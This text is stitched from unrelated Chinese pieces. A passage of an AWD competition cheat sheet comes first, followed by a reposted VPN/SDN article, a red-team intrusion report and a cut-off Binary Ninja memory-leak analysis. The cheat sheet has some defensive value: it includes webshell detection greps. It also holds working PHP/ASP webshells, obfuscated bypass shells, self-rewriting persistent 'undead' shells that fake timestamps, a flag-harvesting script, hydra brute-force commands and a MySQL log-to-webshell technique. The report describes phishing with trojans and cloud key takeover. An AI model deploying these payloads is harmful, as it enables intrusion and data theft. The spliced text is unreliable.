</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有
</Directory>

2.2.4 PHP参数安全配置

首先找到PHP的配置文件

/etc/php/{version}/php.ini

禁用高危函数

disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

配置 open_basedir (将用户访问文件的活动范围限制在指定的区域)

open_basedir=/var/www/html

禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)

magic_quotes_gpc = Off

关闭PHP伪协议

allow_url_fopen = Off
allow_url_include = Off

重启PHP

sudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service

2.3# 数据库安全加固

2.3.1 Mysql加固

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

  1. 不使用默认口令,修改成复杂的,并确保和web环境连接
  2. 设置只允许本地127.0.0.1账户登录:修改 bind-address=127.0.0.1 ;在配置文件中加入 seccure_file_priv=NULL
  3. 开启日志审计功能:general_log_file=路径

因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令

备份指定数据库:

mysqldump –u username –p password databasename > target.sql

备份所有数据库:

mysqldump –all -databases > all.sql

导入数据库:

mysql –u username –p password database < from.sql

对于MySQL的攻防,可以看这篇文章:https://blog.zgsec.cn/archives/26.html

MySQL默认配置文件路径:

C:\\Program Files\MySQL\MySQLServer 5.1\my.ini   //Windows
/etc/my.cnf                                      //Linux
/etc/mysql/my.cnf                                //Linux

修改 secure_file_priv 参数(日志功能的对应目录)

secure_file_priv=""

重载MySQL配置

FLUSH PRIVILEGES

重启MySQL服务

sudo service mysql restart
sudo systemctl restart mysql

2.3.2 Mssql加固

  1. 删除不必要的账号
  2. SQLServer用户口令安全
  3. 根据用户分配帐号避免帐号共享
  4. 分配数据库用户所需的最小权限
  5. 网络访问限制
  6. SQLServer登录审计
  7. SQLServer安全事件审计
  8. 配置日志功能

2.4# 远程控制加固

2.4.1 SSH安全加固

限制IP登录方法

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers username@192.168.0.100    //找到并编辑以下行,确保其取消注释并设置为所需的IP地址

禁用 root 远程登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
PermitRootLogin no                   //将PermitRootLogi设置为“no”

按用户和组限制SSH登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers testuser                  //设置只允许 testuser 登录SSH
AllowUsers testuser@192.168.1.100    //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH
AllowGroups test                     //设置用户组白名单
//需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录

重启SSH服务

sudo service sshd restart
sudo systemctl restart sshd.service

2.4.2 RDP远程登录安全加固

删除默认帐户并手动添加新用户:

  • 步骤1:按 Win + R 打开运行对话框,输入 secpol.msc 并单击 “确定”
  • 步骤2:导航至此处:本地策略-->用户权限分配,再双击打开 “允许通过远程桌面服务登录”
  • 步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)
  • 步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户

更改默认RDP端口号:

  • 步骤1:打开运行对话框,输入 regedit 并单击 “确定”
  • 步骤2:打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp ,向下滚动并找到 PortNumber 然后双击它
  • 步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定”

2.5# 应急响应

2.5.1 查询进程线程

netstat
ps -aux
netstat -apt

2.5.2 杀掉进程

kill -9 pid            //Linux上
taskkill /f /pid pid   //Windows上

2.5.3 搜索WebShell文件

find /var/www/html -name *.php -mmin -5                        //查看最近5分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u                  //寻找行数最短文件,一般有可能是一句话木马
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    //查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看

2.5.4 查杀不死马

也可以利用命令自动进行查找删除

ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9

然后重启服务

service php-fpm restart

2.5.5 杀弹反弹shell

老规矩查看进程

ps -ef
px -aux
ps -aux | grep www-data

注意 www-data 权限的 /bin/sh,很有可能是nc

再就是上老一套命令

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'

3# 自由攻击环节(Attack)

3.0# 主要准备内容

  1. 各类CMS软件包最新版准备
  2. 扫描工具:Nmap、Nessus、Metasploit更新
  3. 漏洞利用脚本Poc、Exp

3.1# 基本信息搜集

3.1.1 主机信息搜集

Nmap

namp -sn 192.168.0.0/24            //C段存活扫描

httpscan

httpscan.py 192.168.0.0/24 –t 10   //C段存活扫描

3.1.2 端口扫描

nmap -sV 192.168.0.2               //扫描主机系统版本
nmap -sS 192.168.0.2               //扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2     //扫描主机部分端口
nmap -sS -p- 192.168.0.2           //扫描主机全部端口

Python脚本

import requests

for x in range(2,255): 
    url = "http://192.168.1.{}".format(x) 
    try: 
        r = requests.post(url) 
        print(url) 
        except: 
        pass

3.2# 外部打点

3.2.0 常见系统漏洞

  • MS17-010(永恒之蓝,可看https://blog.zgsec.cn/archives/172.html)
  • MySQL进行UDF提权(SQL注入或者MySQL弱口令)
  • MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令)
  • SSH弱口令或默认口令
  • PWN(这个要看具体AWD比赛提供的内容了)

3.2.1 中间件漏洞

  • IIS(解析漏洞、远程代码执行)
  • Apache(解析漏洞)
  • Nginx(解析漏洞)
  • Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)
  • Mysql(弱口令)
  • Tomcat(弱口令Getshell)
  • Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)
  • SpringBoot(未授权访问漏洞和RCE漏洞,具体可看https://blog.zgsec.cn/archives/129.html)

3.2.2 集成服务环境漏洞

  • wampserver
  • xamppserver

3.2.3 CMS漏洞利用

搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:

  • Aspcms
  • Dedecms
  • Dicuz
  • Drupal
  • Empirecms
  • Eshop
  • Finecms
  • Joomla
  • Lamp
  • Metainfo
  • Phpcms
  • Phpwind
  • Qibocms
  • Seacms
  • Semcms
  • ThinkPHP
  • Wolfcms
  • Wordpress
  • Zabbix

备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破

3.2.4 上传WebShell

常见一句话木马

PHP: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
Asp:   <%eval request ("pass")%>
Aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Get型木马

<?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);

免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide

<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system&__=whoami 来执行whoami命令
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);   //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell

隐藏的文件读取

<?php
header(php'flag:'.file_get_contents('/flag'));

条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现

3.2.5 利用WebShell

curl(跟hackbar差不多)

C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
//向shell.php文件里传入参数并返回结果

Python多端口传参

#coding=utf-8
import requests

url_head="http://192.168.182.130"   #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass"                   #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"

#清空上次记录
flag=open("flag.txt","w")
flag.close()
flag=open("flag.txt","a")

for i in range(8000,8004):
    url=url_head+":"+str(i)+shell_addr
    try:
        res=requests.post(url,payload)#,timeout=1
        if res.status_code == requests.codes.ok:
            result = res.text
            print (result)
            flag.write(result+"\n") 
        else:
            print ("shell 404")
    except:
        print (url+" connect shell fail")

flag.close()

3.2.6 MySQL数据库利用

具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html

1、查看MySQL版本

show variables like '%version%';
select version();      #这个只显示MySQL版本号

2、查看 load_file() 开启状态

show variables like '%secure%';       #这条可查看详细信息
show global variables like '%secure_file_priv%';

3、查看日志功能是否开启和对应目录

SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/test.php';   #可以写入WebShell然后直接连接蚁剑

# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现

小技巧:获取MySQL账户和对应密码Hash

# MySQL <= 5.6 版本
select host, user, password from mysql.user;

# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;

3.2.7 弱口令爆破

爆破SSH密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40      //40是⽬标服务开放的端⼝

爆破FTP密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/

爆破RDP远程桌面密码

hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V

爆破Telnet

hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V

爆破MSSQL数据库

hydra -l sa -P 密码字典.txt 目标IP地址 mssql

爆破MySQL数据库

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql

3.3# 内网渗透

3.3.1 权限维持之不死马

简单不死马:

<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__);     //删除自身

while(1)
{
    file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>');  //创建shell.php
    sleep(0);    //间隔时间
}

可以通过不断复写 shell.php 来达到该木马难以被使用的效果

防连接不死马:

<?php
set_time_limit(0);   // 取消脚本运行时间的超时上限
ignore_user_abort(1);  // 

while(1)
{
    file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>');  //创建shell.php
    sleep(0);
}

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

进阶不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 09:10:12" shell.php');  //修改时间,防止被删
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php 的WebShell文件

双重不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 18:10:12" .login.php');
    file_put_contents($file1,$code);
    system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell,会自动生成两个不死马: .login.php 和 /admin/.register.php

3.3.2 关键文件检索

组件检索

find / -name "apaech2.conf"                 //检索Apache主配置文件
find / -name "nginx.conf"                   //检索Nginx目录
find / -path "*nginx*" -name nginx*conf     //检索Nginx配置目录
find / -name "httpd.conf"                   //检索Apache目录
find / -path "*apache*" -name apache*conf   //检索Apache配置目录

网站首页

find / -name "index.php"                    //定位网站目录
find / -name "index.html"                   //定位网站目录

日志文件检索

/var/log/nginx/                           //默认Nginx日志目录
/var/log/apache/                          //默认Apache日志目录
/var/log/apache2/                         //默认Apache日志目录
/usr/local/tomcat/logs                    //Tomcat日志目录
tail -f xxx.log                           //实时刷新滚动日志文件

3.3.3 Linux提权

查询系统版本信息命令:

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

查询内核版本信息命令:

uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl  
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

查看系统环境变量命令:

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查看语言环境信息命令:

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set

查看文件上传环境信息命令:

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

这里列举一些可用利用的提权漏洞:

  • CVE-2023-0386(Linux OverlayFS权限提升漏洞)
  • CVE-2021-4034(Linux Polkit本地权限提升漏洞)
  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )
  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
  • CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
  • CVE-2017-1000367(sudo本地提权漏洞 )
  • CVE-2016-1247(Nginx权限提升漏洞)
  • CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)

Kali命令查询:

searchsploit CentOS 7
searchsploit Ubuntu 16.04

提权Exploit寻找:

  • http://www.exploit-db.com
  • http://metasploit.com/modules/
  • http://securityreason.com
  • http://seclists.org/fulldisclosure/
  • https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main

编译提权Exp

gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall

直接提权,确认权限:

cat /etc/shadow

其他提权姿势:https://www.freebuf.com/articles/system/244627.html

3.3.4 Windows提权

这里列举一些Windows的漏洞:

  • 各种Potato(Github上面基本都有)
  • CVE-2023-35359(Windows内核权限提升漏洞,开源了)
  • CVE-2022-24521(没有Exp的可以找我要)
  • CVE-2019-1405
  • CVE-2019-1322
MS17-017(整型溢出漏洞)
转载于原文: https://forum.butian.net/share/2536

持續的遠程工作趨勢使企業組織嚴重依賴虛擬基礎架構與虛擬專用網絡(VPN)。它們在今天是非常常見的解決方案,但微調VPN 仍然是一項棘手的任務。

網絡管理員必須選擇相關工具並手動構建一個網絡,以滿足其組織在網絡安全、用戶匿名性和網絡複雜性方面的需求。有時,VPN 無法滿足組織的需求,組織不得不尋找軟件定義網絡(SDN) 等更複雜的技術。

在本文中,我們展示瞭如何設置可在現實場景中使用的安全虛擬專用網絡,以提供對本地和雲資源的訪問。我們還將了解SDN 的功能、優勢和關鍵應用。

本文對希望增強VPN 技術及其發展方向知識的團隊領導和產品經理很有用。

什麼是VPN? VPN是一種允許多台機器通過虛擬網絡連接的技術。與需要實際的電線和/或無線電發射器到位的物理網絡不同,虛擬網絡利用現有的物理基礎設施並純粹通過軟件方式定義其拓撲。

為了解釋VPN 的工作原理,讓我們定義一些術語,考慮我們期望常規網絡具有的屬性,並了解它們通常如何在VPN 中實現:

image.png

這些東西的工作方式在真實網絡和虛擬網絡中幾乎是一樣的。主要區別在於,在虛擬網絡中,分配了IP 地址的網絡接口是虛擬的,即在操作系統視為接口的背後沒有實際的物理設備。路由到此接口的流量由實現VPN 協議的軟件處理。

由於虛擬接口沒有與其關聯的物理設備,它不能直接將數據包發送到網絡中,因此它要求其他接口為它這樣做。當虛擬接口接收到數據包時,它會確定其在虛擬網絡中的目的地(接收方的IP 地址)。然後,接口背後的軟件檢查VPN 的配置,以找到與接收方網絡節點對應的物理接口的IP 或可以將數據包路由到它的節點的IP。這是這個過程的樣子:

image.png

物理接口不轉發原始數據(即VPN 數據包的有效負載),而是傳輸整個數據包和標頭。當接收方的節點收到數據包時,其虛擬接口可以解析它並確定下一步要做什麼。

VPN 本質上混淆了兩個對等點之間的物理網絡,使它們認為它們直接相互連接並在幕後傳輸流量。此屬性允許組織為其用戶提供從本地網絡外部對敏感資源的安全遠程訪問。此外,他們不需要根據物理網絡接口的IP 地址配置複雜的路由規則。

現在,讓我們通過實際示例詳細探討如何保護您的虛擬網絡。

使用VPN 增強網絡安全VPN 實現在數據離開虛擬接口之前對所有數據進行加密,並利用VPN 網關屏蔽網絡客戶端的實際IP。讓我們看看真實世界的VPN 協議Wireguard如何確保在虛擬網絡中保護傳輸中的數據和用戶匿名。

Wireguard 是一款開源軟件,可為您的VPN 添加加密功能。以下是我們如何使用Wireguard 配置文件表達上一節中的方案:

Device1configuration:

[Interface]

Address=10.0.0.1

PrivateKey=%device1's

key%

[Peer]

PublicKey=%device2的

公鑰

%

Endpoint=%device2的IP%:

51820AllowedIPs=10.0.0.2/32

Device2配置:

[Interface]

Address=10.0.0.2

PrivateKey=%device2的

私鑰

%

ListenPort=51820

[Peer]

PublicKey=%device1's

public

key%

AllowedIPs=10.0.0.1/32這兩種配置看起來幾乎相同。兩者都定義了一個具有特定IP 地址和關聯私鑰的虛擬接口,並相互交換公鑰。第二個設備承擔服務器的角色,定義其虛擬網絡對等點可以連接到的偵聽端口。如果未定義此端口,則入站數據包將被丟棄,從而阻止任何通信的發生。

但是,對等點不必公開偵聽端口,因為服務器將使用在它們連接後創建的套接字來響應它們。所有在10.0.0.1 和10.0.0.2 之間傳輸的數據包都將由Wireguard 加密,並使用UDP 傳輸協議通過物理網絡發送到它們的目的地。

現在讓我們擴展上面描述的簡單拓撲並在網絡中引入更多對等點:

image.png

在網絡中,Device1 和Device3 之間沒有直接連接,它們必須依靠Device2 來中繼它們的數據包。這是此設置的Wireguard 配置的外觀:

Device1configuration:

[Interface]

Address=10.0.0.1

PrivateKey=%device1'sprivatekey%

[Peer]

PublicKey=%device2'spublickey%

Endpoint=%device2'sIP%:51820

AllowedIPs=10.0.0.0/24

Device2configuration:

[Interface]

Address=10.0.0.2

PrivateKey=%device2'sprivatekey%

ListenPort=51820

[Peer]

PublicKey=%device1'spublickey%

AllowedIPs=10.0.0.1/32

[Peer]

PublicKey=%device3'spublickey%

AllowedIPs=10.0.0.3/32

Device3configuration:

[Interface]

Address=10.0.0.3

PrivateKey=%device3'sprivatekey%

[Peer]

PublicKey=%device2'spublickey%

Endpoint=%device2'sIP%:51820

AllowedIPs=10.0.0.0/24現在Device2的配置和原來的有很大的不同。它有兩個[Peer] 部分,對應於Device1 和Device2。每個部分都包含給定對等點的公鑰及其虛擬IP,以便Device2 知道將哪些數據包路由到哪裡。 Device1 和Device3 配置也有點不同:它們的AllowedIPs 字段現在包含的不是單個IP,而是10.0.0.0/24 子網。這意味著此子網中的所有IP 都將路由到Device2。

這種將一台設備用作網關的設置非常普遍。 Device1可以是員工在家訪問辦公室的電腦,Device3可以是連接公司內網的目標電腦,Device2可以是外部客戶端訪問本地設備的網關,例如Device3。

在Wireguard 接口之間流動的所有流量都經過加密,連接到此VPN 的設備(網關除外)都不知道對等方的物理IP。這種連接既安全又匿名。

為什麼簡單的虛擬網絡會演變成SDN?我們上面討論的示例拓撲可用於不需要復雜網絡的小型組織。大型公司、國際組織和雲計算採用者需要更複雜和精細的解決方案。複雜的虛擬網絡是許多現代組織的支柱,這些組織允許其員工遠程工作或在多個地點開展業務。

軟件定義的網絡方法在網絡交換機、負載平衡器、網關和其他元素之上添加專用網絡服務。這些服務充當網絡基礎設施和您的業務架構之間的附加控制層。通過這一層,您可以方便地配置和管理網絡中的端點,以及建立虛擬網絡安全性能監控。

軟件定義的網絡正在迅速流行,因為它允許組織:

image.png

簡化和集中網絡管理。網絡管理員可以使用軟件定義的網絡從一個地方管理他們的網絡,而不是分別處理每個基礎設施元素和VPN 協議。中間層幫助他們方便地編排網絡端點、配置流量優先級並添加安全機制,同時節省時間。

保持網絡配置一致。當從一個地方配置和管理所有基礎架構元素時,它們會一致地工作,並且不會在虛擬專用網絡安全性和性能方面留下任何差距。

加強網絡保護。 SDN 引入了額外的可能性來保護您的網絡,例如選擇性流量阻塞和路由到特定服務、網絡分段、自動安全更新以及所有網絡元素的識別。

優化負載均衡。配置有VPN 的簡單虛擬網絡為負載平衡提供的靈活性很小,因為它專注於在虛擬元素和真實元素之間傳遞流量。 SDN 控制器可以查看整個網絡中資源的可用性,並根據負載動態將流量重新路由到各個端點。

構建更複雜的網絡。網絡服務層允許您向網絡添加任意數量的虛擬資源、雲計算服務和基礎設施元素。使用SDN對於構建大型數據中心、國際企業基礎設施、雲服務等至關重要。

請記住,建立SDN 是一個複雜的過程,仍然需要您投入大量精力來設計和規劃您的網絡。但如果實施得當,軟件定義網絡可為您提供改進虛擬網絡的可能性。

現在,讓我們看看如何通過使用軟件定義額外的端點,將上面示例中的簡單網絡轉變為高級網絡。

配置高級網絡路由具有多個內網和雲服務的網絡需要更多的網關來管理不同的子網,平衡負載,並使虛擬網絡容錯。在物理網絡中,無數網關通過Internet 路由數據包。為了有效地做到這一點,他們使用了邊界網關協議(BGP)。該協議設計用於在網關之間共享路由和可達性信息。

讓我們探索擴展網絡拓撲的示例模式:

scheme_-_3(1).jpg

物理網絡接口上的特定IP 在這裡並不重要,因為所有設備都連接到不同的LAN。 Device1 和Device2 連接到Gateway1,而Device3 和Device4 連接到Gateway2。但是,例如,當Device1 試圖訪問Device3 時會發生什麼?

當Device1 將數據包發送到IP 地址10.0.0.4 時,它們被路由到Gateway1,因為該IP 屬於10.0.0.0/24 子網並且Wireguard 配置指示將這些數據包重定向到10.0.0.2 對等方。但是Gateway1 的配置不包含IP 為10.0.0.4 的任何對等點,因此它必須將接收到的數據包中繼給知道如何到達目的地的人。

這就是BGP 發揮作用的地方。 Gateway1 和Gateway2 建立BGP 連接並共享路由信息。要創建這樣的連接,您可以使用BIRD Internet Routing Daemon。 BIRD 守護進程的相應配置如下:

Gateway1config

protocolbfd{

interface'wg*'{

minrxinterval10ms;

mintxinterval100ms;

idletxinterval1000ms;

multiplier5;

};

neighbor10.0.0.5;

}

protocolstatic{

route10.0.0.1/32;

route10.0.0.3/32;

}

Gateway2config

protocolbfd{

interface'wg*'{

minrxinterval10ms;

mintxinterval100ms;

idletxinterval1000ms;

multiplier5;

};

neighbor10.0.0.2;

}

protocolstatic{

route10.0.0.4/32;

route10.0.0.6/32;

}每個配置的第一部分——protocol bfd——定義了向鄰居通告路由的條件。鄰居本身應該可以通過雙向轉發檢測(BFD) 協議訪問,該協議可以快速檢測兩個鄰居之間的鏈路是否斷開。

第二部分——靜態協議——定義了向鄰居通告的靜態路由。 Gateway1 共享到Device1 和Device2 的路由,而Gateway2 共享到Device3 和Device4 的路由。因此,當網關接收到一個IP 未出現在其配置中的數據包時,它可以檢查路由表以查看BIRD 守護程序是否接收到任何相關的路由信息並將數據包轉發到下一個網關。數據包將在網關之間傳輸,直到到達目的地。

為了獲得額外的可靠性,每個對等點都可以運行BFD 客戶端來檢測它們所連接的網關是否可達。如果對等點本身不可達,則可以指示BIRD 守護進程根據其BFD 連接狀態不通告其路由。我們可以通過將此代碼添加到上面的代碼而不是protocol static來實現:

protocolstatic{

route%peervirtualIP%/32multipath

via%wireguardinterface%bfd;

}有了這個,您將擁有一個可行的虛擬軟件定義網絡,該網絡連接多個端點,保護其中的數據,並提供一些擴展空間。

結論借助Wireguard 和BIRD 等現代工具,組織可以構建跨越多個內聯網的虛擬網絡,整合雲服務,並允許用戶通過精細控制安全地訪問所有必需的資源。

前言

由客户授权的一次攻防演练,从外网钓鱼到内网遨游,也算是幸不辱命,攻击路径绘制了流程图,接下来会按照我画的攻击流程图来进行讲解,流程图如下:
报告流程图.png

外网钓鱼

首先外网收集相关信息,添加微信,构造与客服业务相对
应的话术,诱导对方点击木马,过程如下图:
image.png
客服成功上线如下图:
image.png
然后对该企业的总监同样实施微信钓鱼,构造的话术为商务合作,诱导对方点击木马如下:
image.png

同样上线:
image.png

内网遨游

登陆相关系统

翻阅客服终端,发现密码本,成功登陆邮箱系统,发现大量内部办公邮件如下:
image.png

通过密码本登陆运营平台,发现2000w+记录如下:
image.png
同时还发现该运营系统存在SQL注入如下:
image.png
使用sqlmap获取数据库用户密码如下:
image.png

通过密码本登陆Zabbix系统如下:
image.png

发现某源码,开审!

翻阅另一台终端文件时,发现了一个压缩包为install.zip,解压查看,发现为某系统源码:
image.png
语言为PHP如下:

image.png

审计源码发现该系统后台插件添加处存在任意文件上传漏洞,通过添加插件的方式对向服务器中写入webshell获取到多台服务器权限。
重点在Build()函数里
image.png

直接把请求的config数据写入到插件目录下的config.php文件中了,如下:
image.png

burp构造数据包发包:
image.png
解析成功,getshell如下:
image.png
image.png

通过此0day拿下多台服务器权限如下:

image.png

掌控云上资产

通过前面控制的机器,在其中一台机器中,翻阅配置文件,找到数据库账号密码,登陆数据库在其中一个表中发现了AK/SK如下:
image.png
可以接管阿里云所有系统:
image.png

拿下gitlab

通过linux历史记录获取到gitlab后台权限如下
image.png

通过探测发现gitlab存在历史漏洞CVE-2021-22205,利用该漏洞获取到gitlab服务器权限
image.png

利用gitlab的redis未授权访问漏洞写入ssh密钥,获取到root权限如下:
image.png
image.png

在gitlab的代码中进行翻阅,发现禅道数据库账号密码,真香,同时也在这里提个小建议,如果进入内网并发现gitlab,第一时间拿下来,好处多多。
image.png

数据库直接修改root密码进入后台:
image.png
通过后台功能getshell如下:
image.png

征服Jenkins

通过gitlab系统发现该机器存在nginx,通过查看nginx配置文件,发现对sonar\jenkins\等多个系统进行反向代理,通过在jenkins.conf文件中配置日志 获取cookie格式,获取到了jenkins用户登陆cookie如下:
image.png
image.png
image.png

使用获取到的cookie成功登陆Jenkins:
image.png

小结

通过社工钓鱼撕开口子,内网转了一大圈,也获取了一些成果,咱们下期见。


转载于原文: https://forum.butian.net/share/2583

未初始化內存的洩漏是跨信任邊界複製數據時面臨的常見問題之一。這可能發生在hypervisor和guest OS、內核和用戶空間之間,也可能發生在跨網絡之間。在這些情況中,最常見的錯誤模式是在內存中分配結構或聯合,並且在跨信任邊界複製它之前沒有初始化某些字段或填充字節。問題是,是否可以對此類漏洞進行有針對性地分析?

本文的想法是執行支配流不敏感分析(insensitive analysis),以靜態跟踪所有內存存儲操作。當跨信任邊界複製來自該內存區域的數據時,任何從未寫入的內存區域都被標識為未初始化。

泛化用於分析的代碼模式以CVE-2018-17155為例,由於缺乏結構初始化,FreeBSD內核內存在getcontext()和swapcontext()系統調用中洩漏。下面顯示的是sys_getcontext()的補丁。左邊的清單顯示了打了補丁的代碼。 Sys_swapcontext()也以類似的方式打了補丁。

1.png

sys_getcontext()信息洩漏補丁,右側顯示易受攻擊的代碼

脆弱的代碼在堆棧上聲明了一個ucontext_t結構,寫入一些但不是所有的字段,最後使用copyout()將UC_COPY_SIZE字節的數據從結構複製到用戶區。這裡的問題是,並非所有字段都已初始化,因此,佔用結構內存區域未初始化部分的任何數據都會被洩漏。為了解決這個問題,打過補丁的代碼使用bzero()函數將整個結構歸零。

上述代碼模式的泛化過程如下:

1.在堆棧上聲明或在堆上分配內存區域(結構、聯合等),這可能是未初始化內存的來源。

2.內存區域可能被完全或部分寫入。

3.有一個跨信任邊界傳輸數據的API,這可能是未初始化內存的sink。

4.API通常至少需要3個參數:源緩衝區、目標緩衝區和大小。在這種情況下,內存的源是堆棧偏移量,傳輸的大小是一個常量值。傳輸的大小不變意味著該值要么是內存區域的整個大小(使用sizeof運算符),要么是成為偏移量的一部分。

5.在使用memset()或bzero()函數之前,內存區域可能會被清空。

sink函數是特定於應用程序的,比如對於Linux內核,是copy_to_user();對於BSD內核,則是copyout();對於網絡傳輸則是send()或sendto()。如果目標是封閉源代碼,那麼這些函數的定義要么被記錄下來,要么被逆向破解。

搜索代碼模式進行分析一旦知道了sink函數及其定義,就可以使用常量大小參數和指向堆棧偏移量或堆內存的源緩衝區查詢對sink函數的調用。查詢指向堆棧內存的指針很簡單,而檢測堆指針則需要訪問源變量的定義位置。 BSD中copyout()函數的定義如下:

2.png

在查找堆棧內存洩漏時,搜索對copyout()函數的交叉引用,其中kaddr指向堆棧偏移量,len參數是常量。

Binary Ninja具有靜態數據流功能,可以在函數內傳播已知值,包括堆棧幀偏移量和類型信息。使用此功能,可以縮小對滿足搜索條件的copyout()的調用範圍。為了更好地理解這一點,讓我們檢查一下從sys_getcontext()傳遞給copyout()的參數。

3.png

sys_getcontext()調用copyout(kaddr, uaddr, len)

kaddr參數或params[0]包含一個內核堆棧指針,顯示為堆棧幀偏移量-0x398。 len參數或params[1]的值顯示為常數0x330。由於Binary Ninja沒有關於uaddr的信息,因此顯示為

